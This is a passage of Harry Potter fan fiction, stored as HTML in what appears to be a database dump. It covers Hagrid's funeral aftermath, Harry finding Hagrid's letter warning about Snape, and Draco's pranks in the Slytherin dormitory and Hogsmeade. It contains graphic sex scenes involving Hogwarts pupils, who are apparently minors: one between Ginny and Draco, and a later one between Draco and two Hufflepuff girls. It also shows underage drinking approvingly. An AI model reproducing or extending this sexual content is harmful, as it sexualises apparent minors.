deep, wracking sob from behind him and the thud of someone falling to their knees in the soft earth. </p>\n\n<p></p>\n\n<p> Hermione pulled up short and tightened her grip on his arm. Her shallow breaths puffed white in the cool air and she lifted wide, brown eyes to his face. Should they go back?</p>\n\n<p></p>\n\n<p> Ron&#8217;s sobbing was muffled, as if he had buried his face in the ground. Harry clasped Hermione&#8217;s hand and a moment of understanding passed between the two. Ron had lost too much this day, he shouldn&#8217;t&#8217;t lose his pride as well. He&#8217;d only be angry about it later and it wouldn&#8217;t&#8217;t do anyone any good. It was better if they just walked away.</p>\n\n<p></p>\n\n<p> For now.</p>\n\n<p></p>\n\n<b><p></p>\n\n</b><p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Ginny walked down to Draco&#8217;s bedroom by way of the secret passage. She was especially cautious to make sure that no other Slytherins were hanging about the corridor. Now that they weren&#8217;t afraid of Draco anymore, bad things could happen.</p>\n\n<p></p>\n\n<p> She considered knocking first, but quickly dismissed the thought. All seventh year Slytherins were accounted for in the Great Hall and Draco was most likely sleeping.</p>\n\n<p></p>\n\n<p> He hated it when she woke him up.</p>\n\n<p></p>\n\n<p> Draco had been terribly rude to her the other day, but she supposed that he had a right to be vexed considering his state when she&#8217;d arrived. Then again, when was he not an utter arse?</p>\n\n<p></p>\n\n<p> The door to Draco&#8217;s dormitory swung open easily and Ginny crept inside, being careful not to make any noise. When she reached his bed and peeped through the curtains, she could see that he was indeed asleep.</p>\n\n<p></p>\n\n<p> It didn&#8217;t seem to be a very pleasant sleep, and Draco moaned, tossing his arms and hitting the pillows under his head as he struggled to remain unconscious. There were deep circles under his eyes and he appeared rather . . . delicate. Even though all of his injuries had healed, it looked like one good hex would finish him off.</p>\n\n<p></p>\n\n<p> Of course she would never tell him that.</p>\n\n<p></p>\n\n<p> Ginny slipped off her cloak and shoes and slid into bed beside him. His body was almost feverish, as it always was, and he started to relax when she petted his hair. She smiled slightly and looked at his face, made guileless in sleep.</p>\n\n<p></p>\n\n<p> It was just that easy.</p>\n\n<p></p>\n\n<p> &#8220;Ginny?&#8221; Draco asked rather fuzzily, waking a little. He sounded lost and somewhat sweet.</p>\n\n<p></p>\n\n<p> She shushed him with a kiss and continued to stroke his hair. If only he would stay asleep so she could pretend for a little while that he was a nice person, someone that lo&#8212;</p>\n\n<p></p>\n\n<p> &#8220;What the devil are you doing here? I thought that they were having ceremonies for that great oaf today,&#8221; Draco muttered, shifting onto his back and brushing her hand away.</p>\n\n<p></p>\n\n<p> Ginny sighed. He insisted on spoiling her every fantasy. Then again, she reckoned that Draco wouldn&#8217;t be half so interesting if he was snuggles and kneazles all the time. Or even part of the time.</p>\n\n<p></p>\n\n<p> &#8220;The funeral is over. They&#8217;re having a feast for him in the Great Hall now.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Ah,&#8221; Draco said, coming more awake. &#8220;Did you&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes. I brought you a sandwich and some fruit.&#8221; She answered his question before he had finished asking.</p>\n\n<p></p>\n\n<p>It wasn&#8217;t as if she didn&#8217;t know what he was going to ask for. Draco was fairly predictable and usually satisfied with a nibble, a shag, or a kip. Occasionally he wanted something to drink, too. Which she had forgotten. Damn.</p>\n\n<p></p>\n\n<p> &#8220;What about something to&#8212;&#8221; he started.</p>\n\n<p></p>\n\n<p> &#8220;I forgot.&#8221; Ginny replied, handing him a small bundle containing three pears and a ham sandwich wrapped in linen.</p>\n\n<p></p>\n\n<p> &#8220;Mmmn,&#8221; Draco grunted, taking a bite from one of the pears. He glanced at her from the corner of his eye before he resumed munching. &#8220;How was the funeral?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Awful. I cried through the entire thing and had to fight tears coming up here. It reminded me too much of Percy&#8217;s funeral.&#8221; </p>\n\n<p></p>\n\n<p> Ginny shivered and pulled the silken, green and black duvet over her legs, leaning closer to Draco to absorb some of his naked heat.</p>\n\n<p></p>\n\n<p> &#8220;Yes, well, funerals aren&#8217;t exactly my cup of tea either. Then again, I wasn&#8217;t fond of the yob like you Gryffs were so it doesn&#8217;t really matter much.&#8221;</p>\n\n<p></p>\n\n<p> Draco ate his sandwich with uncharacteristic haste, less than three bites and it was gone. She&#8217;d never seen him do that before. Usually he took his time, eating every bite slowly and thoroughly before moving on to the next. Draco had always said that to do otherwise was uncultured and boorish.</p>\n\n<p></p>\n\n<p> God knew that no one could <i>possibly </i>consider Draco Malfoy to be boorish, could they?</p>\n\n<p></p>\n\n<p> &#8220;Are you anxious for something, Draco?&#8221; she asked him.</p>\n\n<p></p>\n\n<p> Draco shrugged and set the two remaining pears on his night table. &#8220;I&#8217;m tired still.&#8221;</p>\n\n<p></p>\n\n<p> Ginny lifted an eyebrow. &#8220;You haven&#8217;t done anything but eat, sleep, and attend classes since the Slytherin game against Ravenclaw and that was well over a month ago. Maybe you should think about finding something to occupy your time besides sleep. You&#8217;ll feel better.&#8221;</p>\n\n<p></p>\n\n<p> Draco matched her eyebrow with one of his and smiled lazily. &#8220;You forgot shagging, Ginny. I eat. I sleep. I shag.&#8221;</p>\n\n<p></p>\n\n<p> Ginny rolled her eyes and scoffed. &#8220;I came, I saw, I conquered . . .&#8221; She poked him in the bottom with a teasing finger. &#8220;I got fat from lounging around on my arse sleeping all day.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m no where near fat,&#8221; he countered. </p>\n\n<p></p>\n\n<p> Ginny agreed, if anything he had grown thin over the past month or two. She hated to admit that she worried about him.</p>\n\n<p></p>\n\n<p> &#8220;I suppose,&#8221; she conceded. Ginny sighed and stretched, her fingers stiff and splayed above her head while she yawned. &#8220;It&#8217;s like a bloody disease, this sleep thing.&#8221;</p>\n\n<p></p>\n\n<p> Draco shrugged and lay on his back again, closing his eyes. &#8220;I&#8217;m afraid that I&#8217;ve no cure for it.&#8221;</p>\n\n<p></p>\n\n<p> Ginny smirked and threw a leg over his hip, pulling herself up to sit on his waist. Draco opened his eyes with a start.</p>\n\n<p></p>\n\n<p> &#8220;What in God&#8217;s name are you doing, woman?&#8221; he asked her, quite puzzled it seemed.</p>\n\n<p></p>\n\n<p> She shrugged and started to pluck at the buttons on her white oxford. What was she doing? Granted, Ginny had been aggressive with him in the past and often started their shagging sessions, but she always allowed him to dominate her in the end.</p>\n\n<p></p>\n\n<p> Today was going to be different.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m looking for the cure,&#8221; Ginny whispered, pinching the nipples on his chest just a little too hard. Draco groaned and she could almost hear Lord Hardwick stand to attention and salute. Brilliant. She&#8217;d never done it this way before, but there was a first time for everything.</p>\n\n<p></p>\n\n<p> Ginny pulled off her blouse and bra, tossing them in a corner. She knew that he slept without a stitch, so there would be no problems there. </p>\n\n<p></p>\n\n<p> Draco reached up to cup her breasts with a sigh. &#8220;Ah, I&#8217;m afraid I haven&#8217;t seen you birds for a while. Have I missed anything terribly exciting?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Nothing at all,&#8221; Ginny answered for her body parts. &#8220;But they&#8217;ve been lonely. Why I heard them lamenting for you just the other day: oh where, oh where, has our little Dray-co gone? They&#8217;re an impossible bunch, really.&#8221; Ginny slid her hands over Draco&#8217;s and encouraged him to squeeze just a bit. &#8220;Horribly demanding girls, always wanting something.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Mmmn,&#8221; Draco agreed, warming up to the unusual verbal game. &#8220;They must be punished.&#8221;</p>\n\n<p></p>\n\n<p> He slid his hands down to her waist and pulled her forward so he could taste one nipple. Ginny sighed and arched into his exquisite kiss, the scent of amber rising from his hair with the movement.</p>\n\n<p></p>\n\n<p> Draco released the first with a gentle smacking noise. &#8220;Lesson number one,&#8221; he mumbled, turning Ginny so he could suckle the other breast for a moment with his warm mouth. &#8220;And lesson number two,&#8221; he finished.</p>\n\n<p></p>\n\n<p> Ginny scooted back so she could rub herself over Draco&#8217;s erection. His eyes widened slightly and a wolfish grin lit his face.</p>\n\n<p></p>\n\n<p> &#8220;You&#8217;re not wearing any knickers.&#8221;</p>\n\n<p></p>\n\n<p>She smirked and kept rocking her hips against his, creating some friction. Ginny had fainted once, and the same icy-hot shivers she felt immediately before doing so were coursing through her again.</p>\n\n<p></p>\n\n<p> &#8220;I needed something to keep me occupied this afternoon and I knew just the bloke to help.&#8221;</p>\n\n<p></p>\n\n<p> Draco lifted an eyebrow and folded his arms behind his head, shifting his hips just a little. &#8220;And who, pray tell, might that be?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh,&#8221; she breathed, her eyes closing as she continued to grind down on his pelvis. &#8220;You know, Draco Malfoy. He&#8217;s this Slytherin fellow I&#8217;m acquainted with.&#8221;</p>\n\n<p></p>\n\n<p> Suddenly Draco&#8217;s hands were on her hips, bunching in the fabric of her skirt and adjusting her position so that she hovered above his erection. Draco pushed her hips down just as his rose to meet her, sheathing himself inside of her with a slam.</p>\n\n<p></p>\n\n<p> Ginny was almost certain that she saw stars.</p>\n\n<p></p>\n\n<p> He pulled her upper body toward him and kissed her on the mouth while encouraging her pelvis to move up and down at the same time. Eventually Draco broke away from her mouth and trailed a path down her chest with his tongue until it curled around one nipple. The light sucking sounds came from far away, as if she&#8217;d plugged her ears with cotton.</p>\n\n<p></p>\n\n<p> &#8220;Do be quiet now,&#8221; Draco murmured around the intrusion. &#8220;I&#8217;m enjoying this immensely.&#8221;</p>\n\n<p></p>\n\n<p> Ginny didn&#8217;t care; she closed her eyes and reached up to dig her fingers in his hair, bringing him as close as possible to her chest. She had forgotten to move her hips until Draco reminded her by jolting his up a few times. </p>\n\n<p></p>\n\n<p> Every time she came back down it was like a spark inside of her belly. He was hitting just the right places with each slide in and out.</p>\n\n<p></p>\n\n<p> Ginny became more frantic and was soon pushing against him as hard as she could, as fast as she could, building, building . . .</p>\n\n<p></p>\n\n<p> Draco&#8217;s hands came around to grasp her bottom, his long, hot fingers digging into the soft flesh as he attempted to penetrate her more deeply, control her movements.</p>\n\n<p></p>\n\n<p> Ginny threw her head back and bucked against him, moving her hips in a circle and squeezing her muscles. It was all stars now; flashes of light behind her eyes, but she kept going until she could feel her legs turn to jelly.</p>\n\n<p></p>\n\n<p> Another jolt as Draco reared beneath her did the trick and she was melting, sliding down until she was lying flush over him; chest to chest, his shaft still buried within her. </p>\n\n<p></p>\n\n<p> It seemed a perfectly natural place to be, perched on top of Draco Malfoy, his body within her own as if had never been anywhere else. </p>\n\n<p></p>\n\n<p> He grunted and pressed the soft flesh of her hips with his fingers, grinding into her. Ginny squeezed her muscles half-heartedly, content to lay there and do nothing until he pinched her bottom sharply. Ginny&#8217;s eyes flew open and she gasped as he lit a spark within her again. She strained against him, nipples abraded by his moderately furred chest. </p>\n\n<p></p>\n\n<p> Draco groaned, hot breath tickling her ear, and she felt his body slump with his release. His chest was heaving under her cheek and she ran her fingers through the soft hair around his nipple.</p>\n\n<p></p>\n\n<p> It <i>was</i> comfortable to lie on someone afterward. Ginny sighed shakily and smiled. Perhaps a nap was in order.</p>\n\n<p></p>\n\n<p> Draco didn&#8217;t attempt to dislodge her, and his arms came up to hold her closer as he caught his breath. Ginny&#8217;s eyes started to drift shut. She was so relaxed. So alive.</p>\n\n<p></p>\n\n<p> &#8220;Mmmn, that was lovely, Draco. Lovely, love, love, Draco,&#8221; Ginny whispered nonsensically as she slipped further toward sleep.</p>\n\n<p></p>\n\n<p> She didn&#8217;t notice Draco tense beneath her at the words; she was already too far-gone. </p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Harry was walking along the paths surrounding the Forbidden Forest late that evening. Thankfully, he had managed to convince Hermione that they should make amends with Ron. But there was time for that later. Right now, Harry had a promise to keep. </p>\n\n<p></p>\n\n<p> He sighed and scuffed a rock out of the way with his feet. A glance at Hagrid&#8217;s hut chilled him; it was empty and all of the lights were out. It seemed unnatural that a place which had once been so warm was now so cold and void.</p>\n\n<p></p>\n\n<p> Harry picked a branch up from the ground and started to swing it in lazy arcs, whistling the special call for Fang that Hagrid had taught him years ago. If the dog was anywhere nearby, he would respond.</p>\n\n<p></p>\n\n<p> Sure enough, after roughly two minutes of whistling, the great boarhound came running from the Forest to greet Harry with a whine. Fang was much thinner than the last time he had seen him and covered in cobwebs. Harry knelt down to stroke the beast and offered him a few bangers he had saved from supper.</p>\n\n<p></p>\n\n<p> Fang wolfed them down sloppily before sitting down on his haunches to scratch at a particularly annoying flea. It was then that<b>\n\n</b>Harry noticed there seemed to be a scroll tied to Fang&#8217;s collar.</p>\n\n<p></p>\n\n<p> Curious, Harry gently peeled the strings back and slipped the parchment out. It was difficult going because the dog was muddy and the dirt had crusted the strings almost entirely over, but he somehow managed to free it.</p>\n\n<p></p>\n\n<p> The parchment crackled as the crust of mud fell away when he unrolled it and began to read. It was difficult to make anything out in the darkness, so Harry lit his wand. The words were scrawled sloppily and the ink had faded a bit, but he could just make it out.</p>\n\n<p></p>\n\n<p>\n\n<i>I knew you would find this. You always did keep your promises to me. Take care of Fang for me. He&#8217;s a good dog even if he is a cowardly beast. And I left something for you where you dig for Hermione. I&#8217;m sorry that I&#8217;m not there for you, my boy. But you&#8217;ll see why soon enough, I imagine.</i></p><i>\n\n<p></p>\n\n<p> Hagrid</p>\n\n<p></p>\n\n</i><p><i>\n\n</i>Harry felt tears prick his eyes and he swallowed the lump in his throat painfully. He missed Hagrid so much!</p>\n\n<p></p>\n\n<p> Fang was whining again and Harry wiped a hand over his eyes quickly before trudging toward Hagrid&#8217;s hut to settle the dog onto a warm pallet for the night. As they passed the back ditch though, Harry paused. <i>This</i> is where Hagrid had talked about in the note. He always dug for Flobberworms here, Flobberworms for Hermione.</p>\n\n<p></p>\n\n<p> Harry fell to his knees and started to pull clogs of mud from the ground with his hands. Fang, seeing that Harry seemed to be having some fun in the dirt, decided to follow suit and was soon digging holes into the ground eagerly. Harry threw clumps of mud and worms over his shoulder and kept going. He moved to a new section every so often, searching for anything out of the ordinary.</p>\n\n<p></p>\n\n<p> After a while, Harry became tired and rested back on his heels. He was covered in dirt and rapidly melting snow. The ground was still hard from winter and his fingers were frozen. Fang suddenly let out a low cry and Harry darted forward just in time to save a small box from the dog&#8217;s appetite.</p>\n\n<p></p>\n\n<p> &#8220;What&#8217;s this then, Fang?&#8221; Harry asked the boarhound. The dog didn&#8217;t reply, of course, but he whined softly and nuzzled his head into Harry&#8217;s muddy palm.</p>\n\n<p></p>\n\n<p> Harry opened the box and discovered a letter addressed to himself inside.</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>\n\n<i>Harry</i></p><i>\n\n<p></p>\n\n<p> What I&#8217;m about to tell you is going to upset you. But you&#8217;re a strong man, not a boy anymore. Now don&#8217;t read this out to yourself! Be quiet.</p>\n\n<p></p>\n\n<p> I found out some bad things about a few professors of yours, and I suspect I was made to do some bad things meself, but I don&#8216;t know. I don&#8217;t know anything anymore, it seems. Now you can&#8217;t go talking about anything important on Hogwarts grounds, they&#8217;ll hear you anywhere you go. There are some mighty powerful spells on this place, so watch your back and your mouth. I reckon you&#8217;ll have to go into Hogsmeade to make any plans. I don&#8217;t rightly know what&#8217;s happening, but it&#8217;s bad. Some people want me to be quiet and are afraid that I might say something to someone about it, but I don&#8217;t even know what it is I&#8217;m supposed to know.</p>\n\n<p></p>\n\n<p> Now, there&#8217;s a box in old Snape&#8217;s office. It&#8217;s made of metal and it has something in it he don&#8217;t want nobody to find. I don&#8217;t know what&#8217;s in it, but I suspect it&#8217;s bad. Dumbledore had me bring it back from London, you see. It was buried under some old Muggle house there. Then he handed it over to Professor Snape for safekeeping, but I reckon I saw too much or something and I suppose I&#8217;ll be gone soon. Dumbledore always did trust that man too much for my liking. There&#8217;s one last thing, but I don&#8217;t know if it&#8217;s important or not. Professor Snape&#8217;s been going out into the Forest an awful lot lately. I&#8217;m not sure what he&#8217;s up to out there, but I saw him take a ruddy huge cauldron in there some time ago, so I suspect it&#8217;s some sort of potion he&#8217;s working on. Hermione&#8217;s a clever girl, and she&#8217;ll help you figure this all out. <u>But don&#8217;t trust no one else!</u> I&#8217;m not sure I even trust Dumbledore anymore. </p>\n\n<p></p>\n\n<p> You have to find the box, Harry. I don&#8217;t rightly know how much time I have left before someone finishes me off, and I don&#8217;t know who&#8217;s in on it and who&#8216;s not. Just don&#8217;t trust nobody, Harry, and you&#8217;ll be all right. I know you can do this. Now be a good lad and look after Hermione. And make up with Ron, he&#8217;s always been a good friend to you, even if you do have your differences. You kids are smart, but you&#8217;ll need all the help you can get for this one and you&#8217;ve always worked better as a team than you have alone. Remember that.</p>\n\n<p></p>\n\n<p> Hagrid</p>\n\n<p></p>\n\n</i><p></p>\n\n<p> Harry blinked for a moment before slowly folding up the letter and placing it in the pocket of his cloak. Hagrid knew he was going to die. He left a note on Fang and a letter in the back trench where he knew Harry dug for Flobberworms once a week.</p>\n\n<p></p>\n\n<p> And what was this about Snape? A box in his office? Why didn&#8217;t Hagrid trust Dumbledore? He used to worship the man and suddenly he didn&#8217;t trust him?</p>\n\n<p></p>\n\n<p> Harry felt his head spinning as he walked around the corner and opened the door to Hagrid&#8217;s hut. It was cold and empty inside<b>, </b>and it made Harry shiver. He flicked his wand toward the hearth and lit a fire while Fang snuffled about for his pallet.</p>\n\n<p></p>\n\n<p> Harry paced the floor for a moment before he decided to sit down in a chair in front of the fire and warm his hands. He sat on something hard and smooth, so he extracted it from beneath him to examine it.</p>\n\n<p></p>\n\n<p> It was a half-empty bottle of Dragonwood Bourbon.</p>\n\n<p></p>\n\n<p> He remembered the first time he tasted it. Hagrid had invited him over for tea, and let him have a jigger of bourbon to calm his nerves after a particularly bad nightmare about Sirius. Harry had more than just a jigger that night, and morning found him sleeping outside of the hut in wet grass, sprawled next to Hagrid and clutching bottles to their sides. The sky had been a dome of pure blue with wisps of white cloud spun round the top. It was the first time Harry remembered being completely numb, but happy, and he&#8217;d struggled since to find the sensation again. Drinking was even better than flying.</p>\n\n<p></p>\n\n<p> Harry felt the chill of temptation. It would be so easy to have a few sips and forget all about this new mystery, but Hermione&#8217;s sorrowful face kept swimming in front of him and he couldn&#8217;t do it.</p>\n\n<p></p>\n\n<p> Why couldn&#8217;t Hagrid trust Dumbledore with this? Surely if Snape were trying to kill him, he could have gone to Dumbledore. Was it that Dumbledore didn&#8217;t believe him when he tried? Harry rolled the bottle of bourbon between his hands and tapped it nervously with his fingernails.</p>\n\n<p></p>\n\n<p> He pondered on all this for some time, the possibilities running through his head seemed to be all wrong and yet . . . they clicked somewhere deep inside of him. It was the beginning of the mystery he&#8217;d felt in his bones. Harry had known that Voldemort&#8217;s death wouldn&#8217;t make everything sunshine and daisies again<b>, </b>and he&#8217;d been right.</p>\n\n<p></p>\n\n<p> Defeated, he lifted the bottle of bourbon to his lips; the burn slipping down his throat evaporated Hermione&#8217;s voice from his mind. </p>\n\n<p></p>\n\n<p>*~*~*~*~*~*</p>\n\n<p></p>\n\n<p>Please leave constructive feedback to ensure the quality of forthcoming chapters. Also, if you&#8217;re in a smutty mood, why don&#8217;t you check out The Smutty Project? A brand new archive that&#8217;s already full of smutty stories of every shape, size, and pairing.</p>\n\n<p></p>\n\n</font><p><font face="Palatino Linotype" size="4">\n\n</font><a href="http://long-december.org/smutty"><u><font face="Palatino Linotype" size="4" color="#0000ff">http://long-december.org/smutty</font></u></a></p>\n\n<font face="Palatino Linotype" size="4"><p></p></font>\n\n '),
	(271, 23, ' <blockquote>\n\n<b><font face="Palatino Linotype"></font></b><font face="Palatino Linotype"><p><b>Authour&#8217;s Notes: </b>Well, it had to be done, I suppose. Every other authour in the fandom does it, so I suppose this is my tribute to the &#8216;establishment&#8217; *rolls eyes* In this chapter, and hopefully, only this chapter, you&#8217;ll find references and lines that are flat out stolen from a television show and a film. The Mr Floppy line comes from the wildly funny Manchild. I love ASH and Nigel Havers to bits. They may be older, but they are dead sexy. And the snippet &#8216;bring a friend&#8217; refers to a line spouted by yet another dead sexy man: Alan Rickman. *sighs like a schoolgirl and sings &#8216;oh Alan, how I love thee so. Wouldst thou consent to be my sex toy and read poetry in bed . . .&#8217;* It&#8217;s from Robin Hood: Prince of Thieves. I thought it fit Draco&#8217;s character and the scene brought to mind the (brilliant and naughty) arrogance of the Sheriff.</p>\n\n<p> Since I generally take pride in writing my own (admittedly crappy) dialogue, this will hopefully never happen again. There are some lines that are so deeply ingrained in me from other fandoms that it usually snaps me out of a fic I&#8217;m reading if it&#8217;s not <i>that</i> fandom. &#8216;Hands in new places&#8217; instantly comes to mind as being overused in this fandom and borrowed from the Buffyverse.</p>\n\n<p> And several of your referenced <i>the</i> mystery in your reviews. My dears, there are several mysteries yet to unfold. Some of them connected to others, some of them not. </p>\n\n<p> Ron is really growing to be one of my favourite characters to write. In chapter twenty four, I hope to make you all get a bit misty, but in a good way, so look forward to that.</p>\n\n<i><p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>Since there&#8217;s no help, come let us kiss and part,</p>\n\n<p>Nay, I have done: you get no more of me,</p>\n\n<p>And I am glad, yea, glad with all my heart,</p>\n\n<p>That thus so cleanly, I myself can free.</p>\n\n<p></p>\n\n<p>~ Idea (Sonnet LXI) &#8211; Michael Drayton</p>\n\n</i><p></p>\n\n<p></p>\n\n<p></p>\n\n<p> He had finally done it.</p>\n\n<p></p>\n\n<p> Draco sauntered into the Great Hall that morning extremely pleased with himself. He had given the little cow plenty of time for grief after Hagrid&#8217;s death, almost a week, before he sprang it on her a few hours before breakfast. </p>\n\n<p></p>\n\n<p> After all, it was the polite thing to do.</p>\n\n<p></p>\n\n<p> He glanced over at the Gryffindor table to see the littlest Weasley staring back at him wistfully. She seemed to be taking the news well. At least she wasn&#8217;t crying anymore.</p>\n\n<p></p>\n\n<p> Granger was glaring daggers at him and he returned her gaze with a smirk and a wave. Potter didn&#8217;t seem to be paying attention to anything, and Brother Weasley was sitting at the far end of the table, picking at his bacon and eggs.</p>\n\n<p></p>\n\n<p> Draco smiled to himself and started piling his plate with food. It was a Hogsmeade weekend, and he was determined to enjoy it to the utmost.</p>\n\n<p></p>\n\n<p> He knew that none of the Slytherin girls were interested in him anymore, but that was all right. He was more than willing to open the channels for inter-house communications.</p>\n\n<p></p>\n\n<p> From the corner of his eye, he could see Blaise, Crabbe, and Goyle shoving black pudding in their enormous gobs. It would only be a moment more before&#8212;</p>\n\n<p></p>\n\n<p>\n\n<i>Crack!</i></p><i>\n\n</i><p></p>\n\n<p> Draco smiled broadly and began to eat in earnest as he watched three of his housemates, the same ones who had been stupid enough to pummel him last week, turn into little yellow canaries and hop about on the benches. Perhaps some good had come of shagging the Weasley girl after all. Juvenile, yes. Effective? Most definitely.</p>\n\n<p></p>\n\n<p> Pansy, at the end of the table, gave a shriek as her cat <i>mysteriously</i> appeared from out of nowhere and began to chase the birds across the table. Naturally they couldn&#8217;t fly since they weren&#8217;t really birds, although they could climb remarkably well, and the cat came very close to eating the three canaries until Snape swooped down from the staff table like a ginormous bat to stop the madness. Draco sighed and savagely impaled a sausage in a fit of pique. Foiled again.</p>\n\n<p></p>\n\n<p> &#8220;What is this?&#8221; Snape asked, holding up a small bit of innocuous looking chocolate by two fingers as if it were the dirtiest of Mudbloods.</p>\n\n<p></p>\n\n<p> Draco laughed along with the rest of his housemates until Snape silenced them with a sneer.</p>\n\n<p></p>\n\n<p> &#8220;I recognise this, and the effects. The Weasley twins fed Longbottom one once while they were still here.&#8221; He glanced around the table and then came to Draco. &#8220;I wonder who could <i>possibly</i> have procured this from them,&#8221; Snape drawled accusingly.</p>\n\n<p></p>\n\n<p> Draco gave him the most innocent look he could muster and shrugged his shoulders. &#8220;Everyone knows that the Gryffindors loathe us, Professor. Perhaps it was one of them.&#8221;</p>\n\n<p></p>\n\n<p> Snape squinted at him, and then let his gaze sweep the rest of Slytherin house. &#8220;Very well,&#8221; he growled. &#8220;I suppose I must take this matter up with Professor McGonagall. Ten points to Slytherin for Mr Malfoy&#8217;s suggestion.&#8221;</p>\n\n<p></p>\n\n<p> Draco&#8217;s housemates clapped politely and went back to their meals while Professor Snape gathered Blaise, Crabbe, and Goyle in his hands and shoved them into a pocket of his cloak. Draco thought it was too bad that he wouldn&#8217;t be around to see them burst through the man&#8217;s cloak in a moment.</p>\n\n<p></p>\n\n<p> Pansy&#8217;s cat was still mewling plaintively, and Draco gave it a sausage for compensation. It would have to do without a feathered meal today.</p>\n\n<p></p>\n\n<p> Down the table, Pansy glared at him. She knew what he had tried to use her cat for. Draco returned her glare the same as he had for Granger: with a smirk and a wave. He wasn&#8217;t done with her yet, but he&#8217;d let her sink into security before he blasted her right proper. It had to be something appropriate, something Slytherin. Something that could not be connected back to him.</p>\n\n<p>\n\n</p>\n\n<p> Breakfast went swimmingly after the canary incident, and Draco soon found himself strolling through Hogsmeade in a fine mood, feeling more like himself than he had in months. Things seemed to be even brighter when he spotted a luscious-looking Hufflepuff standing outside of the Three Broomsticks with her friends.</p>\n\n<p></p>\n\n<p> Hufflepuff girls were so easy, and <i>so</i> hard working.</p>\n\n<p></p>\n\n<p> Draco put on his most charming smile and straightened his clothes before swaggering over to meet her. If he had to sing for his supper, so be it.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m Draco Malfoy,&#8221; he stated smoothly. As if anyone didn&#8217;t know who he was.</p>\n\n<p></p>\n\n<p> The girls clustered around him tittered and whispered amongst themselves. His prey stepped away from her friends and appraised him shyly. She was a pretty thing: brunette, tall, blue-eyed, and nothing like&#8212; Just what he needed.</p>\n\n<p></p>\n\n<p> Perfect.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ve always wanted to talk to you,&#8221; she whispered, boldly looking into his eyes.</p>\n\n<p></p>\n\n<p> &#8220;And so you are.&#8221; He reminded her. Draco studied her form. It wasn&#8217;t bad, a little too thin, but good enough for his purposes. &#8220;Say, why don&#8217;t you meet me behind Honeyduke&#8217;s in about five minutes and we can have a . . .&#8221; Draco smiled as the girl blushed. &#8220;<i>Conversation</i>.&#8221; </p>\n\n<p></p>\n\n<p> Her round blue eyes widened considerably and she glanced over his shoulder. &#8220;I thought that you were with&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Draco shook his head and forced himself to smile again. He was beginning to get annoyed, and his face hurt from all the smiling. &#8220;Of course not. I never was. I don&#8217;t know how that rumour started in the first place.&#8221;</p>\n\n<p>\n\n</p>\n\n<p> The girl grinned knowingly and looked over at her friends, who were still cackling like mad magpies. &#8220;I suppose I <i>could</i> meet you behind Honeyduke&#8217;s.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Splendid,&#8221; Draco said. He turned dramatically, allowing his cloak to flare out behind him before stopping to look back over his shoulder as an interesting thought occurred to him. &#8220;Bring a friend.&#8221;</p>\n\n<p></p>\n\n<p> The girl raised her eyebrows and shrugged. Clearly she wasn&#8217;t adverse to the idea. Draco made his way toward Honeyduke&#8217;s and leaned up against the back of the old stone building, waiting for his playmates to arrive.</p>\n\n<p></p>\n\n<p> It didn&#8217;t even take them five minutes.</p>\n\n<p></p>\n\n<p> &#8220;Ooh, Tilda, I thought you were joking,&#8221; a new girl squealed as she walked up to Draco with the girl who was supposed to meet him.</p>\n\n<p></p>\n\n<p> &#8220;I told you, Mandy. It&#8217;s <i>Draco Malfoy</i>.&#8221;</p>\n\n<p></p>\n\n<p> The two whispered together for a moment before glancing at Draco and grinning widely. Tilda cleared her throat and addressed him.</p>\n\n<p></p>\n\n<p> &#8220;We&#8217;ve decided to give you a treat as a sort of &#8216;welcome back to dating&#8217; present,&#8221; she said very seriously as she walked up to him and unclasped his cloak.</p>\n\n<p></p>\n\n<p> Draco raised an eyebrow and Mandy flushed. Who said anything about dating? &#8220;Yes, welcome back to dating, Dray-co.&#8221;</p>\n\n<p></p>\n\n<p> He repressed the urge to scream. He <i>hated </i>it when people drew his name out like that. It reminded him of Pansy&#8217;s fumbling attempts to corner his affection and Gin&#8212; Weasley&#8217;s teasing.</p>\n\n<p></p>\n\n<p> &#8220;Right,&#8221; Tilda said. &#8220;Let&#8217;s take you for a test drive.&#8221;</p>\n\n<p></p>\n\n<p> What the hell was a test drive? Was she a Muggle-born? Then again, did it really matter right now? He wasn&#8217;t <i>marrying</i> the girl.</p>\n\n<p></p>\n\n<p> Mandy knelt in front of him and unbuttoned his trousers, pulling them down roughly along with his pants. Draco winced. The girl looked disappointed when she realised he wasn&#8217;t standing to attention yet.</p>\n\n<p></p>\n\n<p> &#8220;Well, hello, Mr Floppy. Why such a soggy face? What&#8217;s say we perk you up a bit,&#8221; Tilda said as she grasped his shaft in her cold fingers.</p>\n\n<p></p>\n\n<p> Draco barely muffled a protest. Mandy was making good use of her mouth while Tilda manhandled his bits and pieces so it wasn&#8217;t all bad. He closed his eyes and leaned his head against the wall. Well, it was an interesting sensation, but it was really doing nothing for him. These girls didn&#8217;t know what the hell they were doing.</p>\n\n<p></p>\n\n<p> Mandy took her mouth off of him and sat back. Tilda let go of him as well and they shared a glance. </p>\n\n<p></p>\n\n<p> &#8220;Is there something wrong with it?&#8221; Mandy asked him, her button-like eyes glinting blankly.</p>\n\n<p></p>\n\n<p> Draco sighed and pushed her out of the way so he could pull his pants and trousers up. &#8220;No, there isn&#8217;t anything wrong with it.&#8221;</p>\n\n<p></p>\n\n<p> Tilda&#8217;s eyebrows drew together in a scowl. &#8220;This isn&#8217;t one of those things where you&#8217;ll say &#8216;it isn&#8217;t you, it&#8217;s me,&#8217; is it?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;No,&#8221; Draco shook his head and buttoned his trousers angrily. He picked his cloak up from the ground and settled it over his shoulders as he walked away, still speaking.</p>\n\n<p></p>\n\n<p> &#8220;It <i>is</i> 